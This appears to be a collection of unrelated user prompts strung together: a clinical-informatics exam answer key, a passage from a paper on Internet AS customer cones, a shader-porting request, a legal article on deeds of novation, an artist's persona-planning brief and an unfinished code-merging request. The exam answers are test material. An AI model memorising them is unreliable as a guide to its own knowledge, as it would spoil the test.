part of setting up an action plan, after the environmental scan. Ensuring ethical behavior could be an aspect of an internal scan, but is still not as good an answer as identifying strengths. (REF: 4.5.2 – Environmental Scanning)\n15\nTHE ANSWER IS B. Among those items listed, the only one which would completely prevent a user from using the system is a password reset. If users do not have access to the system, they will find ways to bypass it, either by using downtime procedures or by using another user’s password. Requests for additional training and non-critical bug fixes will be prioritized as resources allow. System lag is a very common complaint and is often multifactorial. A laggy system is frustrating, but still operational.\xa0 (REF: Section 3.5.3 - Clinical information system implementation)\n16\nTHE ANSWER IS B. In general, hospitals are required to provide care for indigent patients under a number of different systems. Federal law requires emergency care to be provided regardless of ability to pay. In addition, many hospitals are required to provide a certain amount of indigent care in order to maintain their tax-free status. Finally, many hospitals have physician training programs (residencies) which are subsidized by the government in exchange for providing indigent care. In nearly all these cases, the cost of indigent care is never reimbursed at the same rate as regular services, and the cost is shifted from well-paying patients to less well-paying patients. Capitation is the process of shifting the risk of the cost of care from the insurer to the provider by paying a fixed fee per patient regardless of services provided. Pay for performance initiatives seek to link reimbursement to the achievement of certain quality measures. One way insurers disincentivize patients from seeking care is by requiring co-payments at the time of service.\xa0 (REF: Section 1.2.5 -\xa0 Health economics and financing)\n17\nTHE ANSWER IS B. A Pareto chart is a histogram which lists common problems in decreasing order of occurrence. (REF: Section 4.4.5 Project Management – Informatics project challenges)\n18\nTHE ANSWER IS A. Fitts Law states that the time it takes for a person to click on an item on a screen is related to the distance to the item and (inversely) to the size of the item. Hick-Hyman Law states that the time it takes to make a decision is logarithmically related to the number of choices. Model Human Processor (MHP) is a model like Goals Operators Methods Selectors (GOMS) that determines how long it takes a person to perform a certain task. (REF: Section 3.2.1 Models, theories, and practices of HCI)\n19\nTHE ANSWER IS A. Managerial accounting, unlike financial accounting is directed at managers within the organization and provides them with financial information required to plan, implement and evaluate performance. Financial accounting describes the financial condition of the business in historical format, usually during the past year or quarter. Financial reports are prepared to meet regulatory requirements according to the Generally Accepted Accounting Principles (GAAP). (REF 4.5.6 - Principles of managerial accounting)\n20\nTHE ANSWER IS D. A shorter payback period indicates a better investment. For both the accounting rate of return and the internal rate of return, a higher percentage indicates a better investment. The present value (PV) of an item indicates its future value in today’s money.\xa0 (REF 4.5.5 Capital and operating budgeting)' +'5. CUSTOMER CONES\nIn this section, we use our AS relationship inferences to\nconstruct the customer cone of each AS. The customer cone\nis defined as the ASes that a given AS can reach using a\ncustomer (p2c) link, as well as customers of those customers\n(indirect customers). An AS is likely to select a path advertised by a customer (if available) over paths advertised by\npeers and providers because the AS is paid for forwarding\nthe traffic. The most profitable traffic for an AS is traffic\nforwarded between customers, as the AS is paid by both.\nThe customer cone is a metric of influence, but not necessarily of market power. Market power requires the ability\nto restrict the mobility of customers; in general, an AS can\nenter into a provider relationship with whoever offers a suitable service. For large transit providers, particularly those\nin the clique where a full p2p mesh is required for global connectivity, the customer cone defines the set of ASes whose\nservice might be disrupted if the AS were to have operational difficulty. We compare three algorithms to infer an\nAS’s customer cone, and reason why one construction is the\nmost realistic. We discuss the effect of topology flattening on the utility of the customer cone metric, and use our\ninferences to show how the Internet has flattened from an\ninter-domain routing perspective.\n5.1 Algorithms to compute the customer cone\nDue to ambiguities inherent in BGP data analysis, there\nare multiple methods to infer the customer cone of a given\nAS. We compare three methods: recursively inferred, BGP\nobserved, and provider/peer observed. All three methods\ninfer the set of ASes that can be reached from a given AS\nfollowing only p2c links, and the three methods infer the\nsame customer cone for nearly all but the largest ASes.\nRecursive: the customer cone of an AS A is computed\nby recursively visiting each AS reachable from A by p2c\nlinks. For example, if B is a customer of A, and C is a\ncustomer of B, then A’s customer cone includes B and C.\nSome prior work has defined and used the recursive customer\ncone (e.g. [15,16]), but this definition unrealistically assumes\nthat a provider will receive all of its customers’ routes, and\nthus be able to reach them following a customer link. This\ndefinition can thus distort the size of a customer cone.\nBGP observed: given a set of relationships and corresponding BGP paths, C is included in A’s customer cone if\nwe observe a BGP path where C is reached following a sequence of p2c links from A. This method addresses two problems of the recursive method. First, A may provide transit\nfor some prefixes belonging to B, but not for B’s customers;\nthe BGP observed method will not recursively include customers of B in A’s cone that are never announced to A.\nSecond, the error induced by hybrid relationships is reduced\nbecause an AS should not announce prefixes received from\nthe peer segment of the hybrid relationship to providers; in\nfigure 8, A’s providers will not include E and F in their customer cone unless they receive routes to those ASes from\nanother customer, though A’s cone will include those ASes.\nThe main limitations of the BGP observed cone method are:\n(1) the customer cones of ASes with hybrid relationships will\nstill include customers of peers, and (2) the customer cones\nof ASes that provide a VP are more likely to be complete and\ntherefore larger as an artifact of the collection apparatus.\nProvider/Peer observed: given a set of relationships\nand corresponding BGP paths, we compute the customer\ncone of A using routes observed from providers and peers of\nA. This method addresses the two limitations of the BGP observed method: because A will not announce paths received\nfrom the peering portion of a hybrid relationship with AS\nB to providers and peers, we will not include customers of\nB observed from the peering portion in the customer cone\nof AS A. Similarly, because the customer cone of A is computed based on what neighbors of A announce, the presence\nof a VP at A will no longer inflate A’s customer cone relative to ASes that do not provide a VP. The limitation of the\nprovider/peer observed method is that we are only able to\nview best paths, rather than all paths, so we may underestimate the customer cones of some ASes.5.2 Evaluation\nTable 4 displays the customer cone sizes of the 15 largest\nASes as a percentage of all ASes in the graph using the\nthree methods, as well as their rank order. The rank order\nis largely independent of the method used to compute the\ncustomer cone; for example, the same seven ASes are thelargest seven ASes computed with all algorithms. But the\ntable also shows that the recursive cone is significantly larger\nthan the BGP observed cone – for nine of the fifteen ASes\nshown in Table 4, the recursively defined customer cone is\nat least twice the size. We found significant incongruity\nbetween the customer cones constructed for ASes for which\nthere is also a VP; for example, AS3356 only reaches 60-76%\nof the ASes in its recursively-defined customer cone over a\np2c link. This incongruity makes the recursive method less\nrealistic than the two alternatives we describe.\nThe BGP observed cone is often larger than the provider/\npeer observed customer cone for large ASes. There are three\nexceptions in table 4: ASes 1273, 2828 and 3491, none of\nwhich provide a VP. AS174’s BGP observed cone is larger\nthan its provider/peer observed cone despite not providing\na VP, because one of its customers does. The provider/peer\nobserved method avoids over-inflating ASes that provide a\nVP relative to ASes that do not, as an AS relies on peers\nand providers selecting their routes and those routes being\nobserved by a VP to reveal the AS’s entire customer cone.\nFigure 9 shows the customer cone sizes of ASes that were\nin the top three (by customer cone size) at any point over\nthe past eleven years, computed using BGP observed and\nprovider/peer observed algorithms. BGP observed cones\n(figure 9(a)) have spikes that coincide with views of some\npeering routes received from neighbors with whom the AS\nhas a hybrid relationship. In particular, AS1239’s customer\ncone is consistently larger between October 2009 and May\n2010 because a customer provided a view of the routes advertised by AS1239’s peer. The provider/peer observed cones\n(figure 9(b)) have fewer such spikes because these peer routes\nwere not advertised to other peers. A notable exception is\nAS1239’s customer cone between June and December 2006,\nwhich corresponds incorrect inference of backup provider\nlinks as peer links due to an adjacent hybrid relationship\n(see section 4.6). In figure 8, if our algorithm incorrectly\ninfers the c2p link between E and A as p2p, it will also infer\nthat F and G are in A’s customer cone. The provider/peerobserved cone seems to be the most robust methodology\navailable to infer AS customer cones provided a customer\nlink is not mistakenly inferred as a peer link.\n5.3 Customer cone over time\nFigure 9(b) plots the seven ASes that ranked in the top\nthree ASes by provider/peer observed customer cone size\nat any point from January 1998. We can observe several\ninteresting trends with just these seven ASes. First, the\nthree ASes ranked in the top three for January 1998 (ASes\n701, 1239, and 3561) are no longer in the top three. In\nabsolute terms, the customer cone of 701 decreased in size\nbetween January 2002 and October 2012. The customer\ncone of 3356 reflects two other interesting events: (1) in early\n2003, AS1 (Genuity/BBN) merged with 3356 to create the\nthird largest network at the time, and (2) in late 2010, 3549\n(the second largest AS by customer cone) was purchased by\nLevel3 (the largest AS by customer cone). 3549’s customer\ncone has since shrunk as new customers connect to 3356 and\nsome of 3549’s customers moved across.\nFigure 10 plots the customer cone sizes for the same seven\nASes, but as a fraction of the topology size. We see: (1) ASes\n701, 1239, and 3561 all had the same customer cone size in\nJanuary 1998, (2) some customers of 3561 (MCI) shifted into\n701 (Worldcom) due to the MCI-Worldcom merger in 1998,\n(3) 1239 held a third of the ASes in its customer cone for ten\nyears until 2008, and (4) while 3356 had the largest customer\ncone in 2012, its relative cone size, i.e., as a fraction of the\nentire AS topology, was slightly smaller than AS701’s was\nin January 2000. This last fact reflects massive growth in\nthe Internet’s AS topology since 2000, in addition to the\nconsolidation undertaken by both ASes, yielding the largest\ncustomer cones of the two respective decades.\nSince most companies providing Internet transit are by\nnow also in other lines of business and do not report financial\ninformation specific to their transit business, we cannot correlate BGP consolidation with financial performance. But\nwe know that of the three ASes whose relative customer\ncone sizes have plummeted in the last decade (701, 1239,\n3561), two of them (Verizon and Sprint) have moved into\nmore profitable cellular service.\nRenesys produces market intelligence data using the customer cone notion [31]. They declined to share their data\nor method with us to enable a comparison because it is core\nto one of their commercial products. Comparing our rank\norder in table 4 with their “Bakers Dozen” from 2012 [30]\nshows minor differences in rank order.' +'This is the code that I would like to use in UE4 using that custom material node can this be converted?\n/\\*\n \\* "Seascape" by Alexander Alekseev aka TDM - 2014\n \\* License Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.\n \\* Contact: tdmaav@gmail.com\n \\*/\n\nconst int NUM\\_STEPS = 8;\nconst float PI = 3.141592;\nconst float EPSILON = 1e-3;\n#define EPSILON\\_NRM (0.1 / iResolution.x)\n#define AA\n\n// sea\nconst int ITER\\_GEOMETRY = 3;\nconst int ITER\\_FRAGMENT = 5;\nconst float SEA\\_HEIGHT = 0.6;\nconst float SEA\\_CHOPPY = 4.0;\nconst float SEA\\_SPEED = 0.8;\nconst float SEA\\_FREQ = 0.16;\nconst vec3 SEA\\_BASE = vec3(0.0,0.09,0.18);\nconst vec3 SEA\\_WATER\\_COLOR = vec3(0.8,0.9,0.6)\\*0.6;\n#define SEA\\_TIME (1.0 + iTime \\* SEA\\_SPEED)\nconst mat2 octave\\_m = mat2(1.6,1.2,-1.2,1.6);\n\n// math\nmat3 fromEuler(vec3 ang) {\n vec2 a1 = vec2(sin(ang.x),cos(ang.x));\n vec2 a2 = vec2(sin(ang.y),cos(ang.y));\n vec2 a3 = vec2(sin(ang.z),cos(ang.z));\n mat3 m;\n m[0] = vec3(a1.y\\*a3.y+a1.x\\*a2.x\\*a3.x,a1.y\\*a2.x\\*a3.x+a3.y\\*a1.x,-a2.y\\*a3.x);\n m[1] = vec3(-a2.y\\*a1.x,a1.y\\*a2.y,a2.x);\n m[2] = vec3(a3.y\\*a1.x\\*a2.x+a1.y\\*a3.x,a1.x\\*a3.x-a1.y\\*a3.y\\*a2.x,a2.y\\*a3.y);\n return m;\n}\nfloat hash( vec2 p ) {\n float h = dot(p,vec2(127.1,311.7)); \n return fract(sin(h)\\*43758.5453123);\n}\nfloat noise( in vec2 p ) {\n vec2 i = floor( p );\n vec2 f = fract( p ); \n vec2 u = f\\*f\\*(3.0-2.0\\*f);\n return -1.0+2.0\\*mix( mix( hash( i + vec2(0.0,0.0) ), \n hash( i + vec2(1.0,0.0) ), u.x),\n mix( hash( i + vec2(0.0,1.0) ), \n hash( i + vec2(1.0,1.0) ), u.x), u.y);\n}\n\n// lighting\nfloat diffuse(vec3 n,vec3 l,float p) {\n return pow(dot(n,l) \\* 0.4 + 0.6,p);\n}\nfloat specular(vec3 n,vec3 l,vec3 e,float s) { \n float nrm = (s + 8.0) / (PI \\* 8.0);\n return pow(max(dot(reflect(e,n),l),0.0),s) \\* nrm;\n}\n\n// sky\nvec3 getSkyColor(vec3 e) {\n e.y = (max(e.y,0.0)\\*0.8+0.2)\\*0.8;\n return vec3(pow(1.0-e.y,2.0), 1.0-e.y, 0.6+(1.0-e.y)\\*0.4) \\* 1.1;\n}\n\n// sea\nfloat sea\\_octave(vec2 uv, float choppy) {\n uv += noise(uv); \n vec2 wv = 1.0-abs(sin(uv));\n vec2 swv = abs(cos(uv)); \n wv = mix(wv,swv,wv);\n return pow(1.0-pow(wv.x \\* wv.y,0.65),choppy);\n}\n\nfloat map(vec3 p) {\n float freq = SEA\\_FREQ;\n float amp = SEA\\_HEIGHT;\n float choppy = SEA\\_CHOPPY;\n vec2 uv = p.xz; uv.x \\*= 0.75;\n \n float d, h = 0.0; \n for(int i = 0; i < ITER\\_GEOMETRY; i++) { \n d = sea\\_octave((uv+SEA\\_TIME)\\*freq,choppy);\n d += sea\\_octave((uv-SEA\\_TIME)\\*freq,choppy);\n h += d \\* amp; \n uv \\*= octave\\_m; freq \\*= 1.9; amp \\*= 0.22;\n choppy = mix(choppy,1.0,0.2);\n }\n return p.y - h;\n}\n\nfloat map\\_detailed(vec3 p) {\n float freq = SEA\\_FREQ;\n float amp = SEA\\_HEIGHT;\n float choppy = SEA\\_CHOPPY;\n vec2 uv = p.xz; uv.x \\*= 0.75;\n \n float d, h = 0.0; \n for(int i = 0; i < ITER\\_FRAGMENT; i++) { \n d = sea\\_octave((uv+SEA\\_TIME)\\*freq,choppy);\n d += sea\\_octave((uv-SEA\\_TIME)\\*freq,choppy);\n h += d \\* amp; \n uv \\*= octave\\_m; freq \\*= 1.9; amp \\*= 0.22;\n choppy = mix(choppy,1.0,0.2);\n }\n return p.y - h;\n}\n\nvec3 getSeaColor(vec3 p, vec3 n, vec3 l, vec3 eye, vec3 dist) { \n float fresnel = clamp(1.0 - dot(n,-eye), 0.0, 1.0);\n fresnel = min(pow(fresnel,3.0), 0.5);\n \n vec3 reflected = getSkyColor(reflect(eye,n)); \n vec3 refracted = SEA\\_BASE + diffuse(n,l,80.0) \\* SEA\\_WATER\\_COLOR \\* 0.12; \n \n vec3 color = mix(refracted,reflected,fresnel);\n \n float atten = max(1.0 - dot(dist,dist) \\* 0.001, 0.0);\n color += SEA\\_WATER\\_COLOR \\* (p.y - SEA\\_HEIGHT) \\* 0.18 \\* atten;\n \n color += vec3(specular(n,l,eye,60.0));\n \n return color;\n}\n\n// tracing\nvec3 getNormal(vec3 p, float eps) {\n vec3 n;\n n.y = map\\_detailed(p); \n n.x = map\\_detailed(vec3(p.x+eps,p.y,p.z)) - n.y;\n n.z = map\\_detailed(vec3(p.x,p.y,p.z+eps)) - n.y;\n n.y = eps;\n return normalize(n);\n}\n\nfloat heightMapTracing(vec3 ori, vec3 dir, out vec3 p) { \n float tm = 0.0;\n float tx = 1000.0; \n float hx = map(ori + dir \\* tx);\n if(hx > 0.0) {\n p = ori + dir \\* tx;\n return tx; \n }\n float hm = map(ori + dir \\* tm); \n float tmid = 0.0;\n for(int i = 0; i < NUM\\_STEPS; i++) {\n tmid = mix(tm,tx, hm/(hm-hx)); \n p = ori + dir \\* tmid; \n float hmid = map(p);\n if(hmid < 0.0) {\n tx = tmid;\n hx = hmid;\n } else {\n tm = tmid;\n hm = hmid;\n }\n }\n return tmid;\n}\n\nvec3 getPixel(in vec2 coord, float time) { \n vec2 uv = coord / iResolution.xy;\n uv = uv \\* 2.0 - 1.0;\n uv.x \\*= iResolution.x / iResolution.y; \n \n // ray\n vec3 ang = vec3(sin(time\\*3.0)\\*0.1,sin(time)\\*0.2+0.3,time); \n vec3 ori = vec3(0.0,3.5,time\\*5.0);\n vec3 dir = normalize(vec3(uv.xy,-2.0)); dir.z += length(uv) \\* 0.14;\n dir = normalize(dir) \\* fromEuler(ang);\n \n // tracing\n vec3 p;\n heightMapTracing(ori,dir,p);\n vec3 dist = p - ori;\n vec3 n = getNormal(p, dot(dist,dist) \\* EPSILON\\_NRM);\n vec3 light = normalize(vec3(0.0,1.0,0.8)); \n \n // color\n return mix(\n getSkyColor(dir),\n getSeaColor(p,n,light,dir,dist),\n pow(smoothstep(0.0,-0.02,dir.y),0.2));\n}\n\n// main\nvoid mainImage( out vec4 fragColor, in vec2 fragCoord ) {\n float time = iTime \\* 0.3 + iMouse.x\\*0.01;\n \n#ifdef AA\n vec3 color = vec3(0.0);\n for(int i = -1; i <= 1; i++) {\n for(int j = -1; j <= 1; j++) {\n vec2 uv = fragCoord+vec2(i,j)/3.0;\n color += getPixel(uv, time);\n }\n }\n color /= 9.0;\n#else\n vec3 color = getPixel(fragCoord, time);\n#endif\n \n // post\n fragColor = vec4(pow(color,vec3(0.65)), 1.0);\n}' +"Write me a title for this article:\nAs a homeowner in NSW, it's vital to understand the legal mechanisms governing contractual obligations transfer. One such mechanism is Deed of Novation, useful when businesses change name or transfer contracts to third parties. This article explores Deed of Novation's definition, its importance to homeowners, and its differences from other legal mechanisms. By the end, you'll have a better understanding of Deed of Novation's relevance to homeowners in NSW.\nWhat is a Deed of Novation?\nA deed of novation is a legal document that allows one party to transfer its rights and obligations under an existing contract to a new party, who takes on these responsibilities and benefits from the original contract. This document enables the original party to be released from the contract while the new party assumes all legal obligations and rights under the agreement. \n\nNovation is typically used when a business undergoes significant changes such as mergers, acquisitions, or restructuring, and there is a need to transfer existing contractual agreements to a third party.\n\nNovation differs from an assignment in that it transfers all rights and obligations, while an assignment only transfers contractual benefits. It is essential to understand the implications of novation and seek legal advice to ensure that the deed is legally binding and effectively transfers contractual rights and obligations.\nKey Components of a Deed of Novation\nA deed of novation is a simple and effective tool for transferring the rights and obligations of one party under a contract to a third party. \n\nHere are the key components that a deed of novation should include:\n\nNovation or Effective Date\nThe novation or effective date is the date on which the new party will assume all the rights and obligations under the original contract. This date is critical, as it marks the point at which the transfer of rights and obligations takes place.\n\nRelease\nA release clause in a deed of novation releases the original party from all the obligations and liabilities under the contract from the date of novation. This clause ensures that the original party is no longer liable for any obligations or liabilities under the contract.\n\nRepresentations and Warranties\nRepresentations and warranties are promises made by both parties regarding the validity of the contract and their authority to enter into it. They also ensure that both parties are aware of each other's obligations and liabilities under the contract.\n\nFees and Payments\nThe fees and payments clause outlines any fees or payments that either party must make under the contract. This clause is critical, as it ensures that both parties are aware of their financial obligations under the contract.\n\nIt is essential to ensure that all these key components are included in the deed of novation to ensure that the transfer of rights and obligations is complete and legally binding. It is always recommended to consult with a legal professional before drafting or signing any legal documents.\n\nBenefits of a Deed of Novation\nA Deed of Novation offers several benefits to parties involved in a contract. By using a Deed of Novation, you can transfer your rights and obligations under an existing contract to a third party, without the need for extensive negotiation or the termination of the original contract. This can save time, money and resources, especially if the transfer involves complex contracts or multiple parties.\n\nOne of the key benefits of a Deed of Novation is that it allows you to simplify the process of transferring contractual obligations. Rather than renegotiating a new contract, you can simply transfer the existing contract to a new party. This can be particularly useful in situations where you are selling your business or restructuring your operations.\n\nAnother advantage of a Deed of Novation is that it minimizes the need for negotiation. Since the terms of the original contract remain the same, you can avoid lengthy and complicated negotiations with the other party. This can make the process of transferring contractual obligations more straightforward and efficient.\n\nFinally, a Deed of Novation can help you avoid the termination of existing contracts. If you need to transfer your contractual obligations to a third party, but do not want to terminate the existing contract, a Deed of Novation may be the best option. This way, you can transfer the obligations to a new party, while keeping the existing contract intact.\n\nRisks Associated with a Deed of Novation\nWhile a deed of novation is a useful legal tool, it is important to be aware of the potential risks that come with it. Here are some of the most significant risks to consider:\nUnforeseen obligations and liabilities: When entering into a deed of novation, it is essential to carefully consider the obligations and liabilities that are being transferred. There may be unforeseen obligations or liabilities that the new party may not be aware of, which could lead to disputes or legal action in the future.\nLack of clarity regarding the terms of the novation: A deed of novation must clearly outline the terms of the agreement to avoid any confusion or misunderstandings between the parties. Without clear and concise terms, there is a risk that the parties may have different interpretations of their obligations and responsibilities.\nThe need for careful consideration and legal advice: As with any legal agreement, it is important to seek professional legal advice before entering into a deed of novation. This will ensure that you understand the legal implications of the agreement and the risks associated with it.\nBy being aware of these risks and taking the necessary precautions, you can mitigate potential issues and ensure that the novation process runs smoothly.\n\nCommon Scenarios for Using a Deed of Novation\nA deed of novation can be a useful legal instrument in several scenarios, some of which include:\nSale or transfer of a business: If you're selling your business or transferring its ownership to another entity, a deed of novation can help transfer the contracts and obligations to the new owner.\nChanges in business structure: When you change your business structure, for example, from a sole trader to a company, a deed of novation can be used to transfer the contractual obligations to the new entity.\nTermination of contracts: A deed of novation can be used to transfer the obligations and rights under a contract to a third party, effectively terminating the contract.\nIt's important to note that while a deed of novation can be a useful legal tool in these scenarios, it's essential to obtain legal advice to ensure that the novation is done correctly and that all parties understand their rights and obligations.\n\nHow to Draft a Deed of Novation\nA Deed of Novation is a legal document that requires careful drafting to ensure that the transfer of obligations and rights is carried out smoothly and effectively. As such, it is important to seek legal advice from a qualified lawyer experienced in drafting and executing such deeds. Here are some key considerations to keep in mind when drafting a Deed of Novation:\nImportance of Legal Advice\nIt is essential to seek legal advice before entering into a Deed of Novation. A qualified lawyer can guide you through the process, identify any potential legal issues, and ensure that the deed is legally binding and enforceable.\nKey Considerations When Drafting a Deed of Novation\nWhen drafting a Deed of Novation, it is important to consider the following:\nParties involved - Clearly identify the parties involved in the novation, including the original parties, the new parties, and any other relevant parties.\nNovation or Effective Date - Clearly state the date from which the novation applies to the parties.\nRelease - Include a clause releasing the original party from all performance of the contract from the novation date.\nRepresentations and Warranties - Include any representations or warranties made by either party.\nFees and Payments - Include any fees or payments to be made by either party.\nSample Deed of Novation\nHere is an example of a Deed of Novation template:\n[Insert date of novation]\nDeed of Novation\nParties\n[Insert original party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (Original Party);\n[Insert new party name], (ACN/ABN [Insert ACN/ABN]) of [Insert address] (New Party).\nBackground\n[Insert details of the original contract].\nAgreed Terms\n[Insert details of the novation, including the novation or effective date, release, representations and warranties, and fees and payments].\nExecution\nExecuted as a Deed.\nExecuted by:\n[Insert name of Original Party]\n[Insert signature of Original Party]\n[Insert name of New Party]\n[Insert signature of New Party]\n\nSigning a Deed of Novation\nOnce the Deed of Novation has been drafted, it's time to execute it. The signing of a Deed of Novation is an essential step that requires careful consideration. The following are key points to keep in mind when signing a Deed of Novation:\n\nRequirements for signing a Deed of Novation:\n\nAll parties involved in the agreement must sign the Deed of Novation.\nThe signatures of witnesses may also be required, depending on the jurisdiction and the terms of the agreement.\nThe date of execution must be clearly stated on the Deed of Novation.\n\nImplications of a poorly executed Deed of Novation:\n\nThe failure to comply with the necessary legal requirements can result in the Deed of Novation being invalid, which could create legal problems down the line.\nIncomplete or unclear Deeds of Novation can cause confusion and lead to disputes.\n\nIt is therefore recommended that parties seek legal advice when executing a Deed of Novation to ensure that all legal requirements are met and that the document is executed correctly.\n\nConclusion\nIn conclusion, a Deed of Novation is an important legal document that can be used in a variety of scenarios to transfer contractual obligations. While there are benefits to using a Deed of Novation, there are also risks that must be carefully considered. Seeking legal advice is crucial to ensure that the document is drafted correctly and executed properly. \n\nAt Contracts Specialist, we offer a free consultation to homeowners in NSW who are considering a Deed of Novation. Contact us today to schedule a meeting with one of our experienced lawyers." +"Right now, I am creating a portfolio for myself as an artist to deepen and clarify the story I present to my audience through my music and my image on social media and in real life. \n\nIt is comprehensive outline of the persona maturation project entitled ‘The Journey’. It covers each and every aspect of the process in detail, both theoretical and practical, as well as a structured approach to building upon existing character frameworks.\n\nThe following is the current structure of the document, like the table of contents:\n\n# Introduction\n\nThis is a comprehensive introduction meant to bring you, the reader, up to speed with the current outline and motivations of the project.\n\n## What is ‘The Journey’\n\nThe Journey, derived from The Hero’s Journey, a theoretical roadmap to the development of the key elements that evoke powerful emotional reactions in people. The Hero’s Journey is a structure that has been followed by some of the greatest stories ever told and ever lived. \n\nThe version of this journey described throughout the document is tailored for Kadence and is meant to serve as a reference point and a workspace for ideas, planning, and the execution of specialized tactics in order to continuously develop and progress the story which underlies the public representation of the ideas covered in this document. \n\nThe Journey, it’s associated ambitions, milestones, challenges, and gimmicks are experimental in nature, and thus are used to further our own research into the business of artist development, and quite possible leaving our mark on the World.\n\n## What is within this document?\n\nThis document contains a whole lot of useful information about characters, possible pathways of progression, theoretical understandings from The Hero’s Journey, and much more. Overall, this document is a collection of all types of information that is relevant to the project undertakings described above.\n\n## How should this document be used?\n\nThis document should be seen strictly as an experimental guideline line used to plan and execute experimental content and plot lines with the intent of learning from experiment results and making changes to procedures in the future where necessary. With regards to content, the content database provided in this document will be used to visualize the potential timeline of events that will transpire once the official process has gone underway (ie. when the first piece of planned content is released to the public and the timeline must be adhered to.)\n\nIn addition to the content calendar, the document will be the gathering place for information deemed useful during the planning and execution process of projects such as the [Docu-series: ‘Untitled’](https://www.notion.so/Docu-series-Untitled-16d8ab7a883946629fcfa3154b28f7f9) . This information serves to fuel the end-user content that is scheduled and created. By using the Hero’s Journey as a guideline, maximum impact can be gradually attained via meticulous planning and execution of ordered story elements once it is distilled into its relevant parts here inside this document.\n\n## What is [The Story]\n\n[The Story] is a character arch guideline for the [Docu-series: ‘Untitled’] that is derived from the content of this page. It occurs over a discrete time period, subtly growing in both complexity and depth. The point of using a story is simple, it allows us as the creators of content to understand what type of activities, emotions, themes, places, people, and other story elements to include in order to progress the story, in film format, from a clear beginning to a decisive end without relying on specific events or in real life occurrences that might be outside of our control. By determining the characters in the story, as well as their personalities, aspirations, fears, hopes, and desires, we will be able to translate the implied reality of those characters into practical actions and plot points that can be made in the real world to add a touch of fantasy-like takeaways to the project.\n\nBy taking the time to understand both the created characters and their real life counterparts, we ensure maximum compatibility with your (you reading this) personality and willingness to carry-out certain real life actions. For example; if there is a unanimous vote in favour of a miniature story arch entitled “the Hair Bleaching Journey”, then the actual feasibility of both the execution and the successful implementation of the story arch can be weighed against the personalities who would actually be carrying out the plot in real life (ie. Kadence). In this case, the previously mentioned miniature story arch above is within the personalitie’s \\*zone of possibility\\*. This lends a higher chance of success as well as a more natural feeling approach to executing the actual story element. This simply means that Kadence is okay with whatever comes with such a mini arch. There may be others which fall outside of this feasible range, and that is where this entire document comes in. It allows us to weed through all of our ideas, selecting the most realistic ones that also add to the greater storyline (following the Hero’s Journey). The content calendar supports this by allowing us to plan months in advance in order to make sure that our plans are solid well before any are due to air or be created in the real world. One more advantage of this setup is that is allows for the addition of subtle details and easter eggs which add to the realism of the events. \n\n## What is content?\n\nThe content being referred to throughout this document implies any piece of digital media created with the intention to release publicly, and any physical activity, psychological manipulation, social experiment, or persona maturation that takes place as a result of itself within the structure of the content as a whole. For example, with respects to the persona maturation process and the Hero’s Journey, there must be a transition from ‘the Ordinary World’ into ‘the Special World’, a call to adventure. This means that content surrounding this major story arch can be anything from music and visual content, to IRL appearances and planned controversy. Whether a certain piece of content gets placed on the calendar depends on whether or not is has met the above criteria for all parties involved.\n\n# The Journey\n\n## Who is Kadence\n\nI am Kadence, a 25-year-old musician from New York City who was raised in Jamaica. Music has been a constant in my life, a source of comfort and inspiration that has seen me through the ups and downs of my journey. From a young age, I was drawn to the rhythms of the Caribbean and the art of music-making, and it was in Jamaica where I first discovered my love for rap and hip-hop.\n\nI started my journey as a rap artist under the name 'Kadence' in 2012, and it wasn't long before I became well-known in my home city of Mandeville for my skills as a producer, vocalist, and songwriter. I spent countless hours honing my craft, pouring my heart and soul into each beat, each verse, each chorus. I knew that music was my calling, and I was determined to make it my life's work.\n\nSo, in 2015, I made the bold decision to move to Toronto, Canada, to pursue my dream of becoming a successful musician. It was a difficult decision, leaving behind my family and friends, but I was driven by a deep passion for music and a fierce determination to succeed. And I am proud to say that today, I produce and record my own music, blending elements of rap and hip-hop, R&B, dancehall, and pop into a sound that is uniquely my own.\n\nMy music reflects my experiences, my emotions, and my journey. It is a testament to my resilience and my determination. But it is more than just entertainment, it is a source of comfort and inspiration for those who need it most. I use my songs to help others through difficult times, to bring light into the darkness, and to bring people together. I have an empathy that is rare in this world, a genuine desire to make a positive impact on those around me. I want my music to make a difference, to touch people's hearts, and to help heal the world.\n\nMy brand is defined by my authenticity, my empathy, my passion, my creativity, my resilience, and my humility. I am more than just an artist, I am a source of inspiration, a voice for the voiceless, and a shining light in a dark world. I hope to become known worldwide, remain independent and profitable, and eventually become close friends with my idols. But most of all, I want to be known for always releasing high-quality music that speaks to the hearts of my listeners.\n\nI believe that music has the power to change lives, to bring people together, and to make the world a better place. And I am proud to be a part of that tradition, to be a part of that legacy. I will continue to pour my heart and soul into each song I write, each beat I produce, because I know that music is more than just entertainment, it is a way of life. And I am honoured to share my life's work with the World.\n\n## Synopsis\nAs you can see, the above is aimed to build a book of myself in which I can create and operate a storyline that draws in listeners while making the creative aspect of my work easier and more enjoyable. Please help me to generate:\n\n1) More sections such as '# Introduction' and sub-sections like '## Who is Kadence?'. Please only provide the headings, I don't need the descriptions yet. Please provide 20.\n\nand \n\n2) As you can see, I used your last generated message about my brand identity statement to fill the '## Who is Kadence?' section. Can you give me ideas on how to continue structuring the overall book so that it has more chapters and I will be able to implement the 'Hero's Journey' method into the writing of it, while maintaining physically attainable actions that I am able to take in the real world to further enhance the realism of the book? Please provide me actionable sections and sub-sections that will help me to categorize and organize useful information such as what you have provided me so far, as well as information I will learn in the future from market research and the like." +'I\'m building an automated information retrieval system. I have a text splitter which takes long text input and splits into smaller chunks based on a target chunk size.\n\nI have 2 great text splitters which I like. I want to merge them together: RecursiveCharacterTextSplitter and NLTKTextSplitter.\n\n```python\n"""Functionality for splitting text."""\nfrom \\_\\_future\\_\\_ import annotations\n\nimport copy\nimport logging\nfrom abc import ABC, abstractmethod\nfrom typing import (\n AbstractSet,\n Any,\n Callable,\n Collection,\n Iterable,\n List,\n Literal,\n Optional,\n Union,\n)\n\nfrom langchain.docstore.document import Document\n\nlogger = logging.getLogger()\nclass TextSplitter(ABC):\n """Interface for splitting text into chunks."""\n\n def \\_\\_init\\_\\_(\n self,\n chunk\\_size: int = 4000,\n chunk\\_overlap: int = 200,\n length\\_function: Callable[[str], int] = len,\n ):\n """Create a new TextSplitter."""\n if chunk\\_overlap > chunk\\_size:\n raise ValueError(\n f"Got a larger chunk overlap ({chunk\\_overlap}) than chunk size "\n f"({chunk\\_size}), should be smaller."\n )\n self.\\_chunk\\_size = chunk\\_size\n self.\\_chunk\\_overlap = chunk\\_overlap\n self.\\_length\\_function = length\\_function\n\n @abstractmethod\n def split\\_text(self, 